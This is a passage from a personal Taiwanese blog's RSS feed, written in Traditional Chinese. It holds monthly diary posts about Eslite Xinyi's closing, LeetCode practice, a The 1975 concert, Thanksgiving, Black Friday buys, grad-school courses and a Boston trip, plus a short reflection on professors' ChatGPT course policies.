      src="https://img.tomy.me/blog/2023-december-dump/exhibit-wall.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="信義 18 年回顧展照片牆"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<p>對誠品信義最早的印象就是改裝前的音樂館，只要拿著 CD 到走道末端的試聽機刷條碼，就可以在那邊聽一個下午，可能是全台灣少數有這麼先進設備的唱片行。</p>
<p>上高中之後，社團經常會寫小卡片，通常大家會去光南或是墊腳石買，但我私心最愛的還是來誠品文具館的卡片牆逛一個下午，甚至有的時候還會趁人不多的時候直接在下面的星巴克把卡片寫完再回家。</p>
<p>從歐洲回來開始會看書之後，雖然偶爾還是會在博客來上買書，但我更喜歡走進實體書店翻翻店員推薦的書，結帳之後在書本打開的封面蓋上書店的印章，再帶回家細細品嚐。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-december-dump/xinyi-eslite-stamp.jpg"
      class="mx-auto my-0 rounded-md"
      alt="誠品信義書店章"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">最後一天也買了一本書蓋章，至於是哪一本就留到之後再揭曉吧<br/>可惜章已經被蓋到磨平了，而且我蓋的好醜 QQQQ</figcaption>
</figure>
</p>
<p>剛好這一趟回來的路上，逛了新加坡的紀伊國屋，還有吉隆坡的誠品。開始可以體會到一個國家，乃至於族群、文化可以擁有自己的書店，向世界推廣自己的語言與思想，是多麼可貴的事情。</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2023-december-dump/xinyi-eslite-frontdoor.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="誠品信義大門"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2023-december-dump/eslite-notes.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="許願便簽：許願和平、許願勇氣、許願自由"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<p>誠品已經是台灣文化不可或缺的一塊璞玉，希望這個時代能繼續把它傳承下去。</p>
<h2 id="-leetcode" class="relative group">⌨️ LeetCode </h2><p>好啦也不是完全沒做任何事。在太多事情要做，不知道哪件事該先做的情況下，我腦子突然跑出了寫 LeetCode 這個選項。</p>
<p>畢竟開了馬上就能寫，遲早都該寫，不如就來寫，就這麼創下了一個月 45 題的紀錄。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-december-dump/leetcode-activity.png"
      class="mx-auto my-0 rounded-md"
      alt="LeetCode 每日動態牆"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">看看右半邊那坨綠到靠北，只能說暑假那一波根本是在開玩笑</figcaption>
</figure>
</p>
<p>甚至寫到後來有點上癮，會看著時間想說：「嗯 才三點，那應該可以再寫個兩題 easy 再去睡」</p>
<p>但還是要說：平安夜聖誕節連續兩天出了 Hard 當每日一題的人不是家裡死人就是孤兒沒人愛 😤</p>
<h2 id="-本月目標回顧" class="relative group">🎯 本月目標回顧 </h2><p>Pass!</p>
<p>有鑑於這個月目標來的有點慢，加上 1 月中又要回美國了，決定把這個月的目標時間拉到 1 月一起。</p>
<h2 id="-這個月的酷酷貼文" class="relative group">👻 這個月的酷酷貼文 </h2><p>Q：GDPR 這麼嚴格，聖誕老人要怎麼統整歐洲小孩們的禮物清單呢？</p>
<p>A：請洽 Santa Claus is coming to town 的歌詞</p>
<p>這篇 <a href="https://worldbuilding.stackexchange.com/questions/114033/how-can-santa-keep-his-lists-when-the-gdpr-is-around" target="_blank" rel="noreferrer">Worldbuilding Stack Exchange<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 裡面有更詳細的解析</p>
<hr>
<p>好啦，2023 的結論就等回顧文吧</p>
<p>祝大家聖誕快樂，新年也快樂 (欸不是都已經跨完年了 🙃</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2023-december-dump</guid><pubDate>Tue, 02 Jan 2024 13:50:58 +0800</pubDate></item><item><title>2023 年 11 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2023-november-dump/</link><description>一切的忙碌都是為了放假哪~~</description><content:encoded><![CDATA[<p>之前發現每月報報正確的寫法，應該是事件發生的當下，有什麼想法就趕快先寫一點東西下來，然後月底的時候就只要整理一下就可以馬上發了。這篇文的前半就是這麼拼出來的，但後半段就直接被期末專題和考試撞到九霄雲外了 QQQQQQQ</p>
<p>如果這篇文看起來很破碎，還請大家多多擔待 😅</p>
<h2 id="-the-1975-still-at-their-very-best" class="relative group">🎫 The 1975 Still&hellip; At Their Very Best </h2><p>The 1975 應該是我近 5 年最常聽的團之一，在我心目中的排行竄升很快，有望拿下 Coldplay 的地位，但兩個樂團不論是曲風還是 (主唱的) 行事風格都還是十分迥異，一個熱愛地球，主張愛、和平、與環保，另一個會直接跟政府開幹：）</p>
<p>故事是這樣：The 1975 的巡迴原本是在今年 7/25 來台灣，我也早早就買好票了，然後他們<a href="https://ysolife.com/the-1975-good-vibes-festival/" target="_blank" rel="noreferrer">在馬來西亞幹了一票大的<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，甚至被當地政府列入黑名單，因此接下來的亞洲巡迴全部都一起取消了。但我在買完台灣場的票之後就有注意到他們今年還會巡迴來匹茲堡，所以票退下來之後我馬上就手刀買票了 XDDD</p>
<p>老實說我覺得這一場的 Setlist 節奏編排的忽快忽慢，有點難跟上，而且收尾也是一個收在一個奇怪的段落，結束的時候我還想說這樣應該是代表等一下要 encore 吧，然後 PA 就若無其事的走上台開始拆舞台，我才意識到哦原來真的沒了，啪 沒了。</p>
<p>但是作為半個前戲劇社舞台組員，我實在很難不忽略這整個舞台的設計</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-november-dump/the-1975-concert.jpg"
      class="mx-auto my-0 rounded-md"
      alt="The 1975 演唱會舞台"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">真的是 太．美．了 ✧<em>｡٩(ˊᗜˋ</em>)و ✧*｡<br/>抱歉我好像沒有把他拍的很好看 QQ</figcaption>
</figure>
</p>
<p>而且不單單只是舞台很精緻，整個演唱會的過程會有很多攝影機跟著 Matty 移動，所以可以在大螢幕上看到他跟場景互動，大幅度的增加整個場景的帶入感。</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube-nocookie.com/embed/epjQAHfTXfo?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<figcaption class="text-center">剛好最近他們把之前在紐約 Madison Square Garden 的完整影片上傳了，有興趣的話可以自行移駕</figcaption>
<p>好啦 給過</p>
<h2 id="-性愛自修室-sex-education-第四季" class="relative group">📺 性愛自修室 Sex Education 第四季 </h2><p>比起前 3 季，這一季的節奏緩慢不少，而且比起前幾季有很多很 Drama 的事件在推動故事和角色的發展，這一季花很大的篇幅在收拾每個角色內心的情緒和未來。</p>
<p>雖然對外是到上映前才公布這會是最後一季，但我私心猜測，也許 Netflix 一開始就通知劇組這會是最後一季，所以編劇才會選擇這樣的路線。</p>
<p>娛樂性一定是少了一點，但我覺得忠實呈現每個角色在他們生命中的挑戰是正確的選擇，特別是前面三季都別有心裁的把感情的討論範圍，從情侶之間的親密關係延伸到友情、親情，如果在最後一季的時候沒有在這些細節上繼續著墨似乎就太可惜了。</p>

<blockquote class="reddit-embed-bq">
<a href="https://www.reddit.com/r/NetflixSexEducation/comments/16s0ynp/deleted_by_user/">[deleted by user]</a><br> by
<a href=""></a> in
<a href="https://www.reddit.com/r/NetflixSexEducation/">NetflixSexEducation</a>
</blockquote>
<script async src="https://embed.reddit.com/widgets.js" charset="UTF-8"></script>
<p>看網路上的討論，好像滿多人對第四季很不滿意，特別是批評結局的平淡，但我想編劇想呈現的就是如此吧</p>
<p>感情在時間洪流之中，每一刻都難免食之無味，但又怎麼能說是棄之可惜呢</p>
<h2 id="-thanksgiving" class="relative group">🇺🇸 Thanksgiving </h2><p>在美國的第一個感恩節！</p>
<p>學校是從 11/22 禮拜三開始放，一路放到週末結束，總共 5 天，有點像在台灣放中秋連假的感覺 (?)。原本的計畫是把所有的作業和雜事全部排開，就可以久違的來寫一些很久沒碰的 code 還有提早把這篇報報寫完。</p>
<p>結果突然就跑出了 2 團 Potluck<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> 局，上面提到的這些就沒有然後了：）</p>
<p>身為料理白癡如我，真的是為要帶什麼頭痛了好一陣子。在某一堂週末瑜伽課回家的路上跟冠儒聊天的時候，他給了一個很棒的建議——法式雜菜煲</p>
<blockquote>
<p>一開始，我還以為他在凡爾賽。</p>
<p>但當冠儒開始解釋這道料理有多簡單之後，我的眼睛為之一亮<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
</blockquote>
<p>於是我最後在 Potluck 的當天下午去超市買了食材去冠儒家，他在旁邊準備隔天火雞 Potluck 的其他料理，我在旁邊瘋狂切菜，做完再一路抱著它搭公車去 Potluck。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-november-dump/ratatouille.jpg"
      class="mx-auto my-0 rounded-md"
      alt="我做的法式雜菜煲"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">結果算是蠻成功的 吧 嗎</figcaption>
</figure>
</p>
<p>在這裡特別感謝冠儒的 idea 跟協助 🫶🏻</p>
<h2 id="-black-friday" class="relative group">🛍️ Black Friday </h2><p>中國和台灣比較流行的是雙十一，美國這邊的年終購物節是在黑色星期五，也就是 11 月的最後一個星期五，跟感恩節是同一個週末。</p>
<p>最早期的黑五是只有零售通路會在當天舉行特賣，後來又衍生出 Cyber Monday，電商網購平台會在黑五後的禮拜一促銷。後來界線就漸漸變得模糊了，總之就是為期一整個禮拜的瘋狂血拼節。真的要說最近有什麼特別的話，就是我有觀察到很多店家喜歡讓顧客先訂他們的電子報，然後在黑五之前提前 email 折扣的商品讓有訂閱的人提前下單。</p>
<p>原本來之前很期待可以大爆買一波，但一方面美金最近匯率還是偏高，再加上找實習沒啥進展，實在是沒啥理由跟心情亂花錢，所以後來很多想買的東西還是捏了一下，只買了一些 (不算太貴的) 新奇<del>垃圾</del>小物。</p>
<h3 id="-orbitkey-鑰匙圈" class="relative group">🔑 Orbitkey 鑰匙圈 </h3><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-november-dump/orbitkey.jpg"
      class="mx-auto my-0 rounded-md"
      alt="Orbitkey"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<blockquote>
<p>男人出門，只帶口袋放得下的東西</p>
</blockquote>
<p>基本套路就是手機、錢包、鑰匙。手機沒啥好說，錢包的話，在美國真的是很少用到現金，比歐洲還少，所以如果我只是出門去買個菜或是吃個晚餐，有時候就會只帶裝信用卡的卡夾。</p>
<p>我原本的鑰匙圈就是大家認知中的鑰匙圈，但這種鑰匙放在口袋裡很容易刮花其他東西。最早應該在高中的時候就有看到 Oritkey 了，可惜台灣家大門的鑰匙不是扁的沒辦法相容，也就一直沒有買。</p>
<p>後來來美國看到公寓的鑰匙全是扁的，馬上就直覺想到他了 XDD</p>
<p>因為鑰匙金屬的部分被外面的皮革遮起來了，所以可以放心收在口袋，不用擔心會刮花手機或是卡夾。</p>
<h3 id="-ostrichpillow-go-neck-pillow" class="relative group">💤 Ostrichpillow Go Neck Pillow </h3><p>我高中就有買一個他們家的 Light Versatile Pillow 在學校用，大家應該都很熟悉 XD</p>
<p>只是那個用久了變得有點鬆垮，就沒那麼有彈性了，剛好 12 月會搭蠻多飛機的，所以這時間買一個新的再適合不過了 👍🏻</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-november-dump/go-neck-pillow-in-the-air.jpg"
      class="mx-auto my-0 rounded-md"
      alt="我戴著 Go Neck Pillow 坐在靠窗的位置"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">寫這篇文的當下我正戴著它在飛往東京的路上呢~</figcaption>
</figure>
</p>
<h2 id="-本月目標回顧" class="relative group">🎯 本月目標回顧 </h2><p>就如開頭引言所說，這個月被各種隕石襲擊，所以很多目標都掰掰了。</p>
<p>謹此懺悔 🙇🏻</p>
<h3 id="-修-portfolio-和履歷" class="relative group">🟡 修 Portfolio 和履歷 </h3><p>Portfolio 我覺得算是有更新到能看的程度了，只是履歷啥都沒改。</p>
<p>但也是多虧了這將近一個月沒有看履歷，前陣子面試再回來看，就察覺到很多地方其實有點&hellip;矯枉過正，看起來反而怪怪的，應該回台灣準備明年春季下一波的時候會再一起改。</p>
<h3 id="-規劃記帳系統的-roadmap" class="relative group">❌ 規劃記帳系統的 Roadmap </h3><p>這原本要在 Thanksgiving 做的。</p>
<p>左來一個 MSE Potluck，右來火雞 Potluck，上面還有黑五夾攻&hellip;所以&hellip;</p>
<p>啪 沒了</p>
<p>12 月回台灣再看著辦吧</p>
<h3 id="-寫-1-2-篇料理文" class="relative group">❌ 寫 1-2 篇料理文 </h3><p>雜菜煲其實可以寫一篇，也確實寫了。只是做的當天太手忙腳亂，沒拍到什麼照片，感覺這樣發有點太隨便了，最後草稿就先壓著沒發了。</p>
<p>回台灣放假有空再做一次來拍照 (←希望不是空頭支票</p>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><p>放假了，雖然該做的事不少，但說實在經過一個學期，我現在真的是只想躺平 QQQ</p>
<p>決定來列一些逼迫自己放假的目標</p>
<ol>
<li>上個月的目標，履歷跟料理文，補完。</li>
<li>吉卜力馬拉松：最近《蒼鷺與少年》要上映了。回頭想想發現吉卜力的動畫，我居然一部都沒看過，真的是沒文化真可怕。</li>
<li>看點書，寫些閱讀心得的文</li>
</ol>
<hr>
<p>啊對了之前曾經分享過的 Retro 最近終於上架 Android 了，有興趣的人可以來玩玩看ㄌ</p>
<p><a href="https://retro.app/i/tomy" target="_blank" rel="noreferrer">我的 Profile 傳送門<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<p>關於 Retro 的介紹，可以看看之前的<a href="/zh-tw/posts/2023-august-dump/#-彩蛋">8 月報報</a></p>
<p>然後如果你有上傳很多照片的話，還可以免費索取屬於你的 2023 實體明信片哦哦哦</p>
<hr>
<p>啥也不是，散會！</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>Potluck 基本上就是 Home Party (<del>a.k.a. 轟趴</del>)，但是每個人都要帶一道料理，最好是自己在家做的那種。&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>這段經典台詞的<a href="https://youtu.be/zO0MABOO8AE?t=197" target="_blank" rel="noreferrer">出處<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2023-november-dump</guid><pubDate>Sat, 16 Dec 2023 01:05:26 +0800</pubDate></item><item><title>ChatGPT 課程規則</title><link>https://blog.tomy.me/zh-tw/posts/chatgpt-policy/</link><description/><content:encoded><![CDATA[<p>今年每一門課開學，除了交代課堂的規則、作業、考試之外，還會多討論到一個重要的問題：</p>
<blockquote>
<p>這門課能不能使用 ChatGPT</p>
</blockquote>
<p>最近 Mini-2 開學，觀察了一下教授們的幾種態度，覺得挺有趣的，值得寫一下。</p>
<h2 id="嚴格禁止" class="relative group">嚴格禁止 </h2><p>通常會這樣規定是因為這門課就是在教一個很應用的硬技能，因為 ChatGPT 可以做的很好，如果開放使用，學生可能會什麼都學不到。</p>
<p>但也有一種是，ChatGPT 不見得做得很好的課程作業，比方說批判性寫作之類的，但是區分這些作業是不是 ChatGPT 寫的會變成額外負擔，所以乾脆果斷禁止，至於學生會不會遵守就是另外一回事了&hellip;&hellip;</p>
<h2 id="可以用" class="relative group">可以用 </h2><p>教授潛台詞通常是：「反正我相信 ChatGPT 寫這堂課的作業和考試只會寫出一坨 💩，而且一眼就看的出來，所以你可以試試看 🙃」</p>
<p>但到底實際上能不能分辨的出來就是另一回事了&hellip;</p>
<h2 id="可以用而且拜託告訴我你怎麼用" class="relative group">可以用，而且拜託告訴我你怎麼用 </h2><p>跟上面的狀況有點像，通常這堂課的作業 ChatGPT 應該會做的挺糟的，但是教授會鼓勵我們去使用，然後在交作業的時候另外附上我們下了哪些指令，來拼湊出最後的作業。</p>
<hr>
<p>觀察到這裡就不禁在想：那我完全可以從一堂課的規定去回推出這堂課教學內容的類型、教授對作業設計的用心程度、甚至是廣納新科技的態度。</p>
<p>之前看到很多人說，科技的進步正在讓人類的本能嚴重退化。但我想更準確的說法應該是聰明的人會變得更聰明，偷懶的人會變的更偷懶。</p>
<p>所以究竟在用 ChatGPT 寫作業的時候，我是學東西學的更快了，還是更快交差了事去耍廢了呢：）</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">chatgpt-policy</guid><pubDate>Thu, 09 Nov 2023 00:08:46 -0500</pubDate></item><item><title>2023 年 10 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2023-october-dump/</link><description>十月的橘是萬聖節的南瓜橘 🎃 也是楓葉橘 🍁</description><content:encoded><![CDATA[<p>不知不覺半個學期就這麼過完了，校園附近的路樹也漸漸染上了秋天的顏色。在跟 4 門 Mini-1 的纏鬥結束之後，趁著 Fall Break 跟一大群朋友去了波士頓玩，最後在 Kennywood 過完萬聖節幫 10 月劃下句點。</p>
<h2 id="-mini-1-小結" class="relative group">🏛 Mini-1 小結 </h2><p>修了 4 門課：</p>
<ul>
<li>17-611 <abbr title="決策統計">Statistics for Decision Making</abbr>：統計的部分比較少，有的也都是教公式的應用，決策倒是佔了大多數的課程時間，比方說要怎麼切入一個情境，怎麼應用分析的方法。實不實用可能要等到真的用上了才會知道吧，反正我是先把投影片都存下來了 XD</li>
<li>17-612 <abbr title="商業與行銷方法">Business &amp; Marketing Strategy</abbr>：這們課最終的產出就是一份商業點子的提案書，所以每個禮拜的課程就是介紹某一個概念，然後回家把那一部分的章節寫完。還算實用，但可惜的是這堂課只教「形式」，不討論細節，所以就算你的提案書就算點子很糟、財務分析一團亂、可行性低，也只會得到一個 👍🏻</li>
<li>17-614 <abbr title="正規方法">Formal Methods</abbr>：作業有夠難寫，我願稱之為 Mini-1 的週末終結者。基本上是在教要怎麼使用某些邏輯方法或思考框架，去驗證你假設的使用情境有沒有謬誤。據說可以避免在寫完大型軟體專案之後才發現一開始的設計有缺陷，導致需要大改之類的災難，但我很懷疑這個概念在現在這種充斥快速迭代的消費型軟體的世界真的用的上。</li>
<li>17-695 <abbr title="設計模式">Design Patterns</abbr>：教 <abbr title="Object-Oriented Programming 物件導向程式">OOP</abbr> 各種實作的架構模式，其實內容跟 <a href="https://refactoring.guru/design-patterns/catalog" target="_blank" rel="noreferrer">Refactoring Guru<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 差不多，自學其實應該也可以學得不差，沒有名字看起來的那麼高大上。但現在軟體上雲之後感覺都被各種 Micro service 取代掉了，傳統 Monolithic 的架構越來越少見，不知道這些模式以後真的用上的機會還有多少&hellip;</li>
</ul>
<p>另外，有鑑於我未來會用上碩士在學成績的機率已經趨近於零，所以我 (在心態上) 對成績的掌控鬆懈了不少，花在作業和準備考試的時間也變的少了許多。</p>
<p>結果猜怎麼著：我的成績似乎沒有雪崩式的下跌，反而維持在跟之前大學差不多的水準。雖然直覺上這好像是一件好事，但這個現象其實也是一把雙面刃：</p>
<ul>
<li>我的學習方法可能有很嚴重問題，導致即便投入大量的時間也無法在分數上取得進展</li>
<li>或是也許我其實有學到東西，只是考試沒辦法反映出來</li>
<li>大學時期的「顧成績」只是我<del>一廂情願</del>在對自己施加心理壓力，但沒有實質上的作用</li>
</ul>
<p>我太難了我 ¯\_(ツ)_/¯</p>
<h2 id="-波士頓" class="relative group">🦞 波士頓 </h2>

<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="h-full m-1 mx-1" >
    <img
      src="https://img.tomy.me/blog/2023-october-dump/faneuil-hall.jpg"
      class="h-full m-1 mx-1"
      alt="Faneuil Hall 街景"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="h-full m-1 mx-1" >
    <img
      src="https://img.tomy.me/blog/2023-october-dump/europe-style-street.jpg"
      class="h-full m-1 mx-1"
      alt="歐式街景"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<p>波士頓位於美國東岸北邊，是新英格蘭最大的城市，同時也是歐洲人移民美國最早開墾的區域，因此街廓看上去非常不美國，簡單來說就是：有文化 (X)</p>
<p>這一趟當初是跟著 CMU 的朋友們去的，加上我出發前都在被期末轟炸，所以行程都是大家排的，我最大的功能僅限於導航和代刷魔法小卡</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="w-full m-1 mx-1" >
    <img
      src="https://img.tomy.me/blog/2023-october-dump/we-can-walk-there.jpg"
      class="w-full m-1 mx-1"
      alt="迷因圖"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="w-full m-1 mx-1" >
    <img
      src="https://img.tomy.me/blog/2023-october-dump/mit-group-photo.jpg"
      class="w-full m-1 mx-1"
      alt="在 MIT 前合照"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>
<figcaption class="text-center">我們總有個朋友會出張嘴說：喔那離很近我們可以走過去</figcaption>

<p>除了走的路有點多之外，行程還挺滿意的。特別是去 MIT <del>導遊</del>學長分享的各種奇葩的故事，我更加確信我沒有很聰明，只是會耍聰明的猴子 (撥香蕉</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="w-full m-1 mx-1" >
    <img
      src="https://img.tomy.me/blog/2023-october-dump/old-state-house.jpg"
      class="w-full m-1 mx-1"
      alt="迷因圖：我們總有個朋友會出張嘴說 喔我們可以走去那裡"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="w-full m-1 mx-1" >
    <img
      src="https://img.tomy.me/blog/2023-october-dump/harvard-square-sign.jpg"
      class="w-full m-1 mx-1"
      alt="在 MIT 前合照"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<p>總之我很喜歡波士頓，不知道明年實習會不會有機會回來繼續探索這座城市 QQ</p>
<h2 id="-本月目標回顧" class="relative group">🎯 本月目標回顧 </h2><h3 id="-把現在床頭邊的那本書看完" class="relative group">✅ 把現在床頭邊的那本書看完 </h3><p>啪，看完了，有點廢，不知道看了三小，估計是沒什麼心得好寫&hellip;</p>
<p>但是下一本是 《52 赫茲的鯨魚們》，原本在飛去波士頓的飛機上開要來助眠，結果意外的看的很入神，到飛機降落都還在看，應該會有一些心得可以寫。</p>
<h3 id="-時間規劃" class="relative group">✅ 時間規劃 </h3><p>就如同上面提到的，我現在寫作業的方式，就是幫每份作業設定某個時間的上限，然後隨時看剩下的時間硬推進度。這個方法目前唯一的缺點，就是分組作業會變得有點難進行，一方面是，會遇到某些<del>瘋狗</del>組員為了分數不惜投入大把時間，但也不太能就放著給他自己做，所以這方面大概 Mini-2 還要再慢慢適應。</p>
<p>再加上現在找實習的時間也省下來了，那這些時間都被拿來幹啥了呢：</p>
<ol>
<li>睡覺</li>
<li>看書</li>
<li>滑 Thread 和 YouTube</li>
<li>參加<del>啃貓</del>健身團</li>
<li>逛超市</li>
<li>想想晚餐可以端什麼新菜色</li>
</ol>
<p>簡單來說就是啥都沒幹，但我的身心健康了不少 (๑•ᴗ•๑)</p>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><p>既然現在時間多出來了一些，當然就可以準備些正經事來做</p>
<ol>
<li>修 Portfolio 和履歷：
<ul>
<li>Portfolio 之前雖然架起來了但有好多內容到現在還沒放上去</li>
<li>有些實習和專案經驗在履歷上看起來不知所云，就算我本人講也是像一坨爛泥。也許該思考一下要怎麼包裝這些素材，還有要這些經驗想傳達什麼訊息。</li>
</ul>
</li>
<li>規劃記帳系統的 Roadmap：我一直很想自己寫一個記帳系統，去年從歐洲回台灣之後在兩三個月內快速的把後端搭起來了，只是後來發現有很多概念上的問題還沒解決，所以前端的介面遲遲沒有動工。Mini-2 的課程會講到 API、測試、和定義需求，感覺會對這個專案起到蠻大的作用，不如就趁著修課的時候，一邊把 Roadmap 畫出來，這樣也許寒假就可以按圖施工了。</li>
<li>寫 1-2 篇料理文</li>
</ol>
<h2 id="-每月洗澡新發現" class="relative group">🚿 每月洗澡新發現 </h2>
<blockquote class="reddit-embed-bq">
<a href="https://www.reddit.com/r/Showerthoughts/comments/172p8km/people_singing_happy_birthday_to_you_feels_like_a/">People singing happy birthday to you feels like a real life unskippable ad</a><br> by
<a href="https://www.reddit.com/user/strikethunder5/">u/strikethunder5</a> in
<a href="https://www.reddit.com/r/Showerthoughts/">Showerthoughts</a>
</blockquote>
<script async src="https://embed.reddit.com/widgets.js" charset="UTF-8"></script>
<blockquote>
<p>被其他人圍著唱生日快樂歌，感覺就像真實世界無法跳過的廣告</p>
</blockquote>
